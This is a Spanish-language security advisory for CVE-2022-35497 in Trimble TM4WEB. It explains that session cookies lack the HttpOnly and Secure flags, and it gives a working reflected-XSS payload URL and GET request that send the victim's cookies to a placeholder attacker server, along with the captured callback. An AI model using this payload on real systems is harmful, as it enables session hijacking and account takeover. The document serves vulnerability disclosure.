
TM4WEB Vulnerabilidad - CVE-2022-35497
En TM4WEB de Trimble <=22.2.0, debido a una mala configuración de seguridad con los identificadores de sesión, es posible recuperar cookies de sesión válidas mediante un cross-site scripting reflejado que afecta el endpoint del visor de documentos externo.
Específicamente, las tres cookies utilizadas para mantener las sesiones son UID, rstring y PHPSESSIONID, ninguna de las cuales tiene la bandera HttpOnly adecuada para evitar su recuperación desde vectores de ejecución de JavaScript.
Paso 1 :
El atacante aprovecha la vulnerabilidad de cross-site scripting reflejado CVE-2022-35499 para obtener las cookies de sesión de una víctima autenticada.
El atacante inicia un listener en un puerto arbitrario de un servidor accesible desde Internet que pueda recibir solicitudes HTTP. Esto se puede lograr con un servicio como requestbin, o simplemente iniciando un listener de netcat en un puerto arbitrario.
La URL de ejemplo aprovecha el XSS referenciado CVE-2022-35499 para realizar un ataque de secuestro de sesión en un usuario autenticado y envía las cookies de sesión de la víctima al servidor controlado por el atacante
(representado por x.x.x.x en lugar de nuestra dirección IP en el ejemplo) en el puerto 13337
URL maliciosa de ejemplo usando un sitio inexistente:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Esta vulnerabilidad solo es posible porque los identificadores de sesión no están adecuadamente protegidos contra este tipo de ataque.
Las tres cookies utilizadas para mantener las sesiones son :
UID
rstring
PHPSESSIONID
Ninguna de estas cookies está configurada con la bandera HttpOnly. Esta opción de configuración evitaría que los valores de las cookies sean accesibles desde un contexto de JavaScript.
Del mismo modo, estas cookies también deberían tener habilitada la bandera SECURE, lo que evita que se transmitan a través de un canal no cifrado.
La solicitud GET maliciosa utilizada para realizar el ataque se muestra a continuación, con la IP del servidor del atacante omitida y reemplazada por x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
La solicitud de callback resultante que el atacante recibe en su servidor se muestra a continuación, revelando las cookies de sesión de la víctima añadidas al parámetro ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
IMPACTO : los usuarios autenticados pueden ver sus sesiones y cuentas de usuario secuestradas por atacantes que aprovechan la vulnerabilidad de XSS reflejado desde una posición de ataque no autenticada.